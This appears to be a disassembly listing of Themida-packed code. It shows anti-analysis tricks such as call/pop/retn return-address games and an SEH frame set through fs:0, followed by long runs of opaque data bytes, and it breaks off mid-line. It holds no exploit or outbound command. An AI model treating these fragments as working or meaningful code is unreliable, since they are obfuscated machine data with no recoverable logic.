17h inc eax push eax retn sub_59B881 endp ; --------------------------------------------------------------------------- db 16h, 0F3h, 42h ; --------------------------------------------------------------------------- or ah, [esi-45h] sbb ah, cl sub [ebp+61415F5h], edi push large dword ptr fs:0 jmp loc_59B8BD ; --------------------------------------------------------------------------- db 74h dd 7216D044h, 538E009Ch, 785864B8h, 0D1ED2C58h db 2Eh ; --------------------------------------------------------------------------- loc_59B8BD: ; CODE XREF: Themida_:0059B8A6j mov large fs:0, esp push 0 push esi call sub_59B8CF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B8CF proc near ; CODE XREF: Themida_:0059B8C7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_59B8CF endp ; --------------------------------------------------------------------------- xor eax, 1CD7A5EFh inc esp mov eax, 66B3517Fh pop edi jns loc_59B8F4 mov di, bx loc_59B8F4: ; CODE XREF: Themida_:0059B8EBj inc dword ptr [ebp+614236Dh] push 0 push eax call sub_59B905 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B905 proc near ; CODE XREF: Themida_:0059B8FDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_59B905 endp ; --------------------------------------------------------------------------- mov [eax-0Dh], edi jl short loc_59B999 lahf sub al, 0Ah mov [ebp+61406C9h], eax push 0FFFFFFFFh push 0 push ecx call sub_59B930 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B930 proc near ; CODE XREF: Themida_:0059B928p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_59B930 endp ; --------------------------------------------------------------------------- dd 41937E7Bh, 57412C6Ch, 0B5FF91CAh, 6142111h, 0EE8h, 262B8C00h dd 0ABEF1BADh, 768860C9h, 8B8D1F3Dh, 1430299Dh, 95FF5B06h dd 6142B19h, 1AAE9h, 0E9BB6600h, 8B00B031h, 141685BDh dd 0F5BD8B06h, 0E606141Fh, 13E870h, 8EF40000h, 0FABCD83Fh dd 0FBC1A946h db 6Ah ; --------------------------------------------------------------------------- loc_59B999: ; CODE XREF: Themida_:0059B918j xor ah, cl mov ds:0A58629D4h, eax or cl, ch pop es ; --------------------------------------------------------------------------- db 0 dd 47760000h, 0B34A27EFh, 71E45BD9h, 5E9h, 65C95600h, 613CDF78h dd 15D830Fh, 13E80000h, 87000000h, 1E5F50CCh, 88631CC4h dd 3E69D463h, 424CA399h, 8D29C71Dh, 6142C6Dh, 0C8B60F5Fh dd 15C18589h, 6BA0614h, 0E9000000h, 0Dh, 4CC6F6C5h, 472BBB37h dd 677CBB0Ah, 9BD5BF56h, 0C18B69A6h, 2820F60h, 60000000h dd 0CD952961h, 61061405h, 0FE9h, 0F8E0B000h, 50905FC2h dd 2085FD13h, 0C8B8270Dh, 0BB04E8C1h, 46B81533h, 8BE2F766h dd 60C82BDEh, 37B0EE81h, 0E9506D74h, 0Eh, 0A12009E5h, 270C4F58h dd 91EFA181h, 615A8397h, 3C4496BFh, 9D18B4Bh, 142A9D8Dh dd 0B5E906h, 9D290000h, 6142375h, 554C858Bh, 0DF8B4947h dd 83DE8B66h, 12E907C0h, 7A000000h, 96059A6Eh, 5F5EA3A3h dd 33B286DCh, 0D838C9F3h, 0C0839Fh, 5399D89h, 0D03B0614h dd 14830Fh, 0BD8B0000h, 61403F9h, 0A351BB66h, 6AE9h, 0E3816600h dd 8D8B66A8h, 0FFFFFFFFh, 0E9D98B66h, 0Ah, 99CCFECCh, 0A6E40471h dd 0E183A606h, 44840F01h, 66000000h, 0CE69F781h, 0FFFFA583h dd 0FFEFFFFh, 0E86h, 9E900h, 9CBF0000h, 4DAD58DFh, 89181CEBh dd 47554C95h, 14E949h, 0F56E0000h, 2AA9D1EEh, 3BFA1F1h dd 0DAD3D158h, 3C61978Fh, 0E9E062h, 8D000000h, 18AB92B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 5768C369h, 0C75B165Bh, 6A006Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0B4AAC5C3h, 9E9h, 0B4829C00h, 5B32B41Bh, 95897963h dd 6141AE5h, 116995FFh, 6A0614h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 106531C3h, 0F7120477h dd 68F0FF8h, 89000000h, 14303995h, 0F5BB906h, 95890000h dd 6141C49h, 6AFCE183h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0D969C350h, 765B778Dh dd 2C7336FEh, 12E8h, 0C157DE00h, 3EF8DC99h, 2449461Ah dd 0CDEAAF03h, 80B5E0A3h, 0FC5FFACFh, 6AC38166h, 0B8FCh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0F8553C3h, 0C8Fh, 6820F00h, 89000000h, 14200DB5h dd 6AD22B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 2071C357h, 583DD979h, 0E856B3FBh dd 11h, 85B3363Eh, 0AA2891C6h, 0B9E1E59h, 17B308ECh, 5DBD8B54h dd 5B06140Fh, 0C233AD5Bh, 0D003E8D1h, 7504E983h, 0E58589F4h dd 0E8061410h, 8, 1A6CA74Ah, 7244D3Ch, 9E9h, 0EF591D00h dd 6A80AFF9h, 535F5F09h, 7898D89h, 0D5F0614h, 88h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CC35343h, 9E881h dd 4780000h, 634140FDh, 0E9044B5Fh, 10h, 0ADC4B5F4h, 2F4EDD01h dd 4AA02A9Eh, 0B0BCEE26h, 0ADBD8B5Fh, 8B061403h, 14322995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 4A7FC1C5h, 0E1FD977Bh, 9D8B9874h, 6142215h dd 64D8D8Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 942729C3h, 0EE6416BAh, 0C28B5012h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 811DC355h, 393596F3h, 53006A4Ah, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 4F2AA7B8h, 0EED9B8CEh dd 0BD83F86Dh, 61429ADh, 88840F00h, 89000000h, 141A2195h dd 0B806h, 8F0F0000h, 14h, 8E8h, 0F4E7E300h, 0DCB67081h dd 959D034Fh, 5B061411h, 4D798D8Dh, 6A0614h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0CD08D6C3h dd 953102C9h, 6141095h, 6E9h, 0A08B8300h, 0FF510AE5h, 55006AE1h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0C27DF0ACh, 0FC6D9072h, 55B58900h, 83061406h, 142671BDh dd 840F0006h, 476h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0DDC35141h, 8D73EDA6h, 0FE2CC79h, 0BD83FBB7h dd 6142671h, 5E840F01h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0A7C4C351h dd 6440BA36h, 95895D60h, 6140C41h, 55600ABBh, 71BD8318h dd 3061426h, 3ED860Fh, 12E90000h, 0F0000000h, 0B65FB824h dd 6AF0C331h, 1F8988D9h, 0FE82CE79h, 6890FAAh, 8B000000h dd 1420C5BDh, 6A6006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0F9F66FC3h, 6AD98C66h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0F412C353h, 0D2D5CE02h, 0FE8h, 9E457A00h, 227B1760h dd 0E4376F0Eh, 0DC3315EBh, 9646BF66h, 4E1805Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4FC35646h, 8B533095h dd 14082DBDh, 0FC90A06h, 11C84h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 226E32F9h dd 8B9B9BC3h, 14196985h, 0CB81F506h, 13C0BABBh, 1B818533h dd 81660614h, 506C2DDBh, 0BF505250h, 44E9AB9Fh, 0E8310F5Bh dd 0Fh, 6308BCA6h, 845A1F54h, 9DD85601h, 53197F26h, 585A5B5Bh dd 0F240489h, 87h, 6A006A00h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0D191C350h, 15BD9D2Bh dd 70680614h, 817202A7h, 0A48F2434h, 0BF66721Dh, 95FF2F4Fh dd 61409ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 85C35545h, 89377A5Ch, 5860F9Ch, 0BF000000h, 1B538E7Ah dd 0AA988589h, 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 936FEAC3h, 62B4CB20h, 10E8E8h, 0EF680000h dd 33A81DEh, 0F1EA4BE5h, 0B6785661h, 8B664054h, 0CEE95FF9h dd 89000001h, 140F5D85h, 90858B06h, 0F80617AAh, 1800C7h dd 8D890000h, 6141FE1h, 0AA94B58Bh, 6A0617h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0EBD95FC3h dd 8BF17428h, 140B2985h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 217ABEEBh, 689DBA0h, 7FF8EEBFh dd 69858B22h, 6A061419h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0D75FC350h, 76664D96h dd 0A279CB13h, 575BD89h, 46890614h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 96856741h dd 13E8h, 0D1311400h, 30F7850Ah, 0ED74B405h, 71699149h dd 2E6874h, 13E8h, 0D350D000h, 5E900DABh, 0B87C5E2Eh, 37823147h dd 6C65C5A1h, 5F5B5F51h, 0B5FF9650h, 617AA90h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h, 81660BBBh dd 683C53CBh, 648D8CFCh, 2B820Fh, 13E80000h, 22000000h dd 75FCFA3h, 0DCF15F69h, 2A23ED0h, 8BD844BCh, 0DE987A7h dd 23000000h, 0BD0E609Fh, 667F4DF9h, 0C19CE950h, 2434815Bh dd 64928F03h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 7AC35545h, 0F24C108h, 858DDBB7h, 617AA98h, 0A52EBE60h dd 8D8B3F09h, 614081Dh, 1DB75061h, 1240489h, 142E59BDh dd 0AD95FF06h, 6A061409h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 7629C352h, 6AC2C5ECh dd 297A79B3h, 141109BDh, 0C7F86106h, 14267185h, 306h, 52BF6600h dd 98BD83F8h, 617AAh, 3D840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 8040B6C3h dd 8F5D0B95h, 0E9FE8B66h, 2Eh, 0EE9h, 0D49FB700h, 1514D235h dd 0B4B1CE66h, 50359E40h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 9E3C1DC3h, 0F99589D9h dd 6A06142Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 6B5EC353h, 78AC9441h, 0EB801ABCh dd 71BD831Fh, 3061426h, 4ED850Fh, 6E90000h, 0E000000h dd 3227E7DCh, 0FD8D89FCh, 83061400h, 17AA98BDh, 840F0006h dd 4CFh, 0AA98B5FFh, 0BD230617h, 614267Dh, 2AF595FFh, 6A0614h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 4B61ACC3h, 859D8996h, 8B06140Bh, 17AA8CB5h, 7D9D8B06h dd 0C7061430h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 14E973h, 9DFE0000h, 7D53C9BCh dd 73DD2433h, 0F238137Dh, 951C566Dh, 0F50034Fh, 484h, 0FB8B5600h dd 2434895Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0D7C35343h, 23877BDAh, 3C9766Ch, 141039BDh, 98B5FF06h dd 0F0617AAh, 68Dh, 85BD8B00h, 0FF061404h, 140B3195h, 5FBF6606h dd 8CB58B3Bh, 6A0617AAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 9F8AC350h, 8B37C041h dd 1421D585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 20918EAEh, 86891459h, 0C4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F1C35747h, 0E7A49C36h dd 283321FFh, 7DBD8B0Ch, 8B06140Ah, 14322995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 3715C77Eh, 19619501h, 8B660614h, 4C283DAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CEC35545h, 0EA90F9F6h dd 249CBB48h, 508924F9h, 25BD8B20h, 8D06142Eh, 17BE0685h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 77BC0343h, 84F78910h, 89526D4Ch, 1405818Dh dd 86895B06h, 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 86C35242h, 8B66EE96h, 0C38166DEh, 6A504Bh dd 0AA98B5FFh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 66FFF4C3h, 6179EF81h, 5E8h, 32901100h dd 0CB802ABFh, 95FF5BA2h, 6140939h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0B3C35646h, 1577A7BBh, 8B961967h dd 0E86050D9h, 10h, 0D5F15FFh, 0F5B1717Ch, 64AD3967h, 571484FFh dd 3665B966h, 61B5B25Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 8424ECE7h, 66E6E380h dd 77BDCB81h, 0AA98B5FFh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E953EFC3h, 8, 52E8740h dd 36C52822h, 25A5B589h, 95FF0614h, 61420F5h, 0F9858B60h dd 0E9061431h, 5, 0DAA6F02Fh, 0BD8361E4h, 6140C21h, 9E840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 8444C351h, 0BFBD26BBh, 3E97CD95h dd 11E86096h, 0CA000000h, 0C709718h, 1E162496h, 755762FDh dd 57718A5Ch, 50596160h, 0F48B352h, 0F525031h, 5A585A31h dd 60506158h, 1161BA66h, 0CE8h, 999A8A00h, 1AAF7307h, 8A19D9DDh dd 5F2FB76Ch, 6A9661h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0E9B778C3h, 5, 9C518D3Bh, 0FD98BA9h dd 48Ch, 0FCBB6600h, 98B5FFFAh, 6A0617AAh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 85E1C356h dd 0FF424DCh, 684h, 918D0100h, 6006140Eh, 2601958Bh, 95890614h dd 6141141h, 0B195FF61h, 0E8061402h, 7, 21935E0Fh, 8913BBFFh dd 14198185h, 0B5FF5F06h, 617AA98h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 59C35646h, 0DF8166C7h, 95FF8E92h dd 6143081h, 10E952h, 0C47F0000h, 1E8E65AFh, 8B7B2E25h dd 4886E18h, 835BC30Dh, 1409F5BDh, 840F0206h, 63h, 5BDE8B51h dd 12DD9D09h, 858B0614h, 6142D01h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 5DC35545h, 624A14B9h, 0FFBF0F2Eh dd 0AE9h, 0C9E02700h, 0E8E6B91Fh, 0C65C1253h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0C7A1B7C3h, 14244D85h, 6, 21BD8B00h, 0E906142Eh, 0FFFFF0D7h dd 2FA1BF66h, 8D01C18Bh, 614247Dh, 3D648D8Dh, 6A0619h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0F58D16C3h, 32298D89h, 6A0614h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0DC6B4BC3h, 5A595D2h dd 0AE9h, 6CD1BB00h, 9E26FA9Ch, 0C73F5E83h, 14064D85h dd 623006h, 0AE900h, 0CAC90000h, 0A2727453h, 0F8B9A9AEh dd 0C70FE280h, 14267185h, 6, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0EF6F762Ah dd 0A3E041BFh, 0C2BF6605h, 359D89C0h, 0FF061415h, 1414ADB5h dd 95BD8B06h, 0FF061425h, 14236195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0F0AF291Fh dd 0FF191426h, 95FF006Ah, 6141169h, 7CEBC08Bh, 11D0D594h dd 0ADBA1540h, 8FCB49A7h, 22F12DFEh, 1A7ED09Ch, 3D7AA206h dd 8459307Bh, 0EFD5DDBEh, 20D8A3C5h, 0EB73A366h, 0BB36B68Ah dd 0F179C8D8h, 5D445FD6h, 69B1DD02h, 0AA53E051h, 95BFA3D2h dd 177D8FA0h, 2E6BED6Eh, 33D047E1h, 7478B4A9h, 919A601h dd 2CB54C2Ch, 0FBE77058h dd 7BC5F700h, 91AB57F8h, 2B50985Bh, 0D495FBFAh, 0F452C38Bh dd 242D03C2h, 34B14E67h, 7BDC22B1h, 3E8F8D8Dh, 9D8B0619h dd 61402D1h, 32298D89h, 0D78B0614h, 4D85C7FCh, 0B4061406h dd 6A00005Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 984FC350h, 0F11A9B14h, 0C7240431h dd 14267185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0BD016030h, 61409DDh dd 6120D380h, 14ADB5FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0C301C3h, 0FF9386EFh dd 14236195h, 6AC28A06h, 6995FF00h, 8B061411h, 0DE7CEBC0h dd 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh, 0CB2411ACh dd 0F60AF8D8h, 6D881DDDh, 3656A724h, 0D6530C9Bh, 0C68DEE39h dd 5BE1FAE9h, 0C889EB88h, 9335F770h, 0A5D607C6h, 82013818h dd 99C63DE7h, 0CD00F1DBh, 0DFD28ED1h, 0B82FDFEh, 0FFA27D10h dd 0C5DECB72h, 43BDC82Ch, 7A89FD2Fh, 776713D2h, 0CB908055h dd 2F35EBC4h, 14BF9C9Fh, 0B2733CE0h, 0A77263BEh, 0E12F17C4h dd 0DEDC3476h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338C3C6Ah, 0FFB44E60h dd 0F867A5E4h, 0A08C3CE2h, 0D343A3BEh, 79672024h, 0C5C5A3BAh dd 0D71B2027h, 338C053Ah, 831D2933h, 0C0982633h, 0BFA706B6h dd 0D6157635h, 0AF811921h, 890DD963h, 839E3222h, 35982664h dd 1F152359h, 4B811911h, 0B41DAB63h, 39E3F0Ch, 86CDB3CCh dd 14932027h, 6AA1A23Ch, 0B0152633h, 9C811911h, 4DAACE63h dd 0F6D82633h, 6CB0A3BEh, 24C8202Ah, 0CDA704B6h, 0FF677635h dd 338C333Ah, 1794E2B0h, 54A704B6h, 23157635h, 55811921h dd 0F40DD963h, 3D9E3222h, 6A982651h, 6474AD66h, 11CE7464h dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h dd 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh dd 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh dd 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C811923h, 0DDDABBEh dd 9320202Ah, 78000000h, 271E7FCh, 0C8D00731h, 4904C783h dd 0FFF2850Fh, 0B58DFFFFh, 6194045h, 40648D8Dh, 0CF2B0619h dd 8B05E983h, 0A3BB20C8h, 3026289Ch, 89EA9C67h, 696FB663h dd 0B23D00A9h, 3632008Ch db 28h, 0B4h, 0BBh byte_59CC5F db 2Ch ; DATA XREF: Themida_:00548C7Co dd 8BB18615h, 30265B0Ch, 73B62F01h, 5C321001h, 35DA5D01h dd 16320401h, 0BF6FC15Ch, 0B736256Dh, 2036A445h, 73324001h dd 0BC08E354h, 21D0914Eh, 603867A1h, 36320BE8h, 3EB75701h dd 577A48D3h, 1095B48Eh, 63E9BD60h, 3409C95Bh, 831B1001h dd 3026154Ch, 3622ED91h, 58210201h, 739F0190h, 86058BB6h dd 0C2FFB5F6h, 50622756h, 0A65258BBh, 2A0FBD30h, 373D0215h dd 5CCC264Dh, 35DA5601h, 16328001h, 0BF6D835Eh, 0B736047Dh dd 2F363445h, 71320801h, 410BC756h, 45412966h, 30BD0EF4h dd 0BF328001h, 222BC184h, 36587807h, 3631F854h, 6B120801h dd 5ABB59C2h, 72B30625h, 362A0525h, 63778001h, 0CF959DC2h dd 0F6B11E36h, 0F0B3762Dh, 3EB9FE79h, 0DE62046Bh, 36320202h dd 6EF15921h, 3216C488h, 32160480h, 3632201Ah, 0B1F14041h dd 79F3C0Ch, 3972F0E9h, 0BD54F8BEh, 3658FD49h, 36316852h dd 6D124001h, 6ABB7BC2h, 72B31425h, 36250C25h, 65710401h dd 0D87D7C2h, 8B336161h, 3026A23Ch, 0B1C2C167h, 83BB4143h dd 30263CF4h, 0B8967h, 0C4B60BFEh, 50320201h, 0BBBBFF8Ah dd 3026A55Ch, 503B8182h, 0B6BFE5BAh, 0B33DF938h, 36320934h dd 0DE67046Bh, 36320202h, 6BF15C21h, 3216EC88h, 32160480h dd 36322015h, 7AF14544h, 363218E8h, 6DC1E101h, 751AB2C3h dd 795BD669h, 8FE9A196h, 30B44F2Bh, 1F322001h, 22315594h dd 37738307h, 3634830Eh, 83B90201h, 3026289Ch, 0A3B94802h dd 302660B8h, 5C37E182h, 35DA4301h, 16320801h, 0BF69C75Ah dd 0B736265Dh, 21362545h, 75328001h, 0E4808352h, 0FB3089Ah dd 0BD715B91h, 36818D0Eh, 36580401h, 3631EA56h, 69120101h dd 4ABBDFC2h, 72B34425h, 36272425h, 61751001h, 0DF6496C2h dd 3632040Ah, 3A84A2A7h, 43C99B9Dh, 0DE49A819h, 36324015h dd 0B703C474h, 2437CE8Ah, 3197970Fh, 0C14017CEh, 1CCF9446h dd 36320AE8h, 4D928101h, 0C168D874h, 0C54EE71Eh, 4FBF9D5Ah dd 5C341C4Ch, 35DA5401h, 16320201h, 0BF6AC259h, 0B736A445h dd 2E366445h, 76322001h, 3E30D351h, 0BDFFB978h, 3872DD8h dd 8E341608h, 36320102h, 0DE64806Bh, 36324002h, 68F17E21h dd 32166488h, 32164C80h, 36320415h, 0D4F15447h, 428DE0FEh dd 0BF746445h, 22075984h, 36584107h, 3631F852h, 6D120801h dd 6ABB5FC2h, 72B30625h, 362B0525h, 65718001h, 8F6B1FC2h dd 0BB7FA0C9h, 2F7276BCh, 7EBF8507h, 8E341D42h, 37A08175h dd 17CF8432h, 0F9198615h, 0A3BB20C0h, 3026289Ch, 89EA9C67h dd 696FB663h, 0B23D00A9h, 3632008Ch, 83BBB428h, 0A4F305E9h dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 189567C3h, 8B09E648h, 142BD5BDh, 0E8C38B06h dd 0Ah, 7B9E0E03h, 0B3C4D39Bh, 0B70F1613h, 14E95BFBh, 40000000h dd 0AFE8C2E3h, 5019EFF9h, 0DA5F2C62h, 0D7087073h, 812D7C89h dd 6291C3h, 0CE900h, 0F83C0000h, 0F3B73D9Eh, 5D6186ADh dd 0C02BD99Dh, 0B5016060h, 614009Dh, 8E0Fh, 0E9610000h dd 10h, 0B00F54D3h, 43D28A3Fh, 86C5B89Ah, 41B6449h, 3148B61h dd 1A259589h, 0F2810614h, 538B76E3h, 70A293BEh, 56F28101h dd 0F63BA54h, 8Ch, 7AC28100h, 8B674501h, 140665BDh, 8B665206h dd 3048FFEh, 3CA6C781h, 0BD896227h, 6140909h, 0E804E883h dd 0Fh dword_59D020 dd 0F5162D95h, 0D97C35A6h, 6C47ADDAh, 0E93BBEBAh, 8, 901BA061h ; DATA XREF: Themida_:00549FBCo dd 70A4975Ch, 40F8815Eh, 0FFFFF9Eh, 0FFFF9085h, 0A6E646FFh dd 0A68FFB60h, 0FBAC8935h, 0CA0599F6h, 0E20D6611h, 0A6953511h dd 0F3C99835h, 0F6B16DF6h, 2DAD9E33h, 0B2A9A2A8h, 0CC4C0233h dd 0A5649535h, 868C6235h, 2FD5F26Ch, 2788BC79h, 0BC886871h dd 0E78C2635h, 0E42AD064h, 0EBEA5BCAh, 0A6862D83h, 5D476235h dd 54224C51h, 5ADC2B06h, 963DF1B6h, 0D38C2021h, 4731903Ch dd 0A68A9D2Fh, 0F5DCDD41h, 0A534A2BEh, 2F8C3131h, 0B296D1B0h dd 9C11C133h, 598A3082h, 25D448E6h, 0B2966888h, 0B1F8C433h dd 0A5343165h, 2F8C3131h, 0B296D1B0h, 8F11C133h, 598A3081h dd 27D448E6h, 12AEC0ECh, 33127D25h, 0A9656D2Dh, 988C3135h dd 0FA820921h, 0C9B7A600h, 42233B2Fh, 6607FA96h, 0C05C3E3Ah dd 0B7371CB9h, 0EAB7A68h, 0C6083E31h, 0CC8C9836h, 0A5641A35h dd 868C2635h, 2FD2D06Bh, 2788AD41h, 0B288E071h, 0E08C6235h dd 0A948F263h, 0A68C99B8h, 1B0FB435h, 0A0983D38h, 82081C35h dd 0F58C8935h, 0A68CCBDCh, 0ECAC6E35h, 0F493ED93h, 0F969172Dh dd 994AB768h, 0A599CF6Ch, 2DEA1335h, 3F1982CCh, 188AD019h dd 0A48C4535h, 2B438E3Ah, 0B1FAD7B0h, 0F58C2633h, 0A68C25DDh dd 65D73335h, 82D0006Eh, 82C84531h, 0A68C7531h, 65DF7235h dd 40B23427h, 10EB618Ah, 0CC5CD93Bh, 0A5644335h, 868C8935h dd 2FD4076Dh, 27884671h, 0B2881571h, 0E68C9835h, 0A92B8F65h dd 0A68C20B5h, 7B191035h, 238A9D37h, 7C08CBF5h, 0CC8C6235h dd 0A5646435h, 868C9835h, 2FD18F68h, 27880259h, 0BF883771h dd 0E38C8935h, 0BFC90760h, 8E9FCFDBh, 9F11BA55h, 5A8A8C3Fh dd 0F1B4CD54h, 0A977A753h, 0A68C2DB0h, 4B010035h, 2F8AD011h dd 0B2820BA0h, 0DE0D5733h, 0A98E9A31h, 0A68E94B1h, 0F08C4C35h dd 0A68C10DDh, 65D2A935h, 82F84D6Bh, 82C8E331h, 0A68C2A31h dd 65DADE35h, 0A6B5AC02h, 0D4178A70h, 0C00CC5B5h, 0C610B1B4h dd 0A6D7413Ah, 0A6E66235h, 0A68FD964h, 0FFAC9835h, 0EA0515F6h dd 0E20D2211h, 0A6981711h, 0F7CD8935h, 77079AF6h, 3BB380B4h dd 0DE0C64AFh, 23837037h, 0A68C4C18h, 0A68C29DCh, 0C5727E35h dd 7AC88907h, 74AD7880h, 4EF7371Dh, 0C006FEB5h, 0A68AE0B4h dd 0AC09439Eh, 178C2635h, 0A4C3FA69h, 2DEA8935h, 0A78C7AFDh dd 0A1652434h, 948C3135h, 5ABBEF3Ch, 23013F07h, 0A09B507Ah dd 5C0DC8B4h, 7673D417h, 4EDAC45Fh, 0A68C6236h, 0F84F6F15h dd 0A2A8ECBCh, 0A2A808B4h, 0A68C262Eh, 374F4573h, 9BF363E4h dd 23908DDBh, 22086DF5h, 0AD8C3134h, 0B2A505A0h, 0C0B4CD33h dd 0A98E2408h, 0A68C2AB0h, 610DEF35h, 540DA010h, 8ACAF2A8h dd 0C08A49B4h, 0A9F6C708h, 0A68D94B1h, 0A9DD4635h, 0A68C13BBh dd 0B465D035h, 2B8CC435h, 800E8436h, 0AEA687E3h, 605202A4h dd 133E04D1h, 27EA4787h, 0A9EC8F0Dh, 0A68CC4B0h, 0A4F44435h dd 0E5096DDDh, 0CC8C3135h, 0A564CA35h, 868C4C35h, 2FD6E56Fh dd 27883761h, 0BD88AD71h, 0E48CC435h, 910EA167h, 0CAE9F494h dd 1B8576E5h, 0A0986920h, 0A0F4A753h, 2383D335h, 0A68C893Bh dd 8C4141BCh, 0C4656421h, 268C3134h, 0A6324FC7h, 2FF24D34h dd 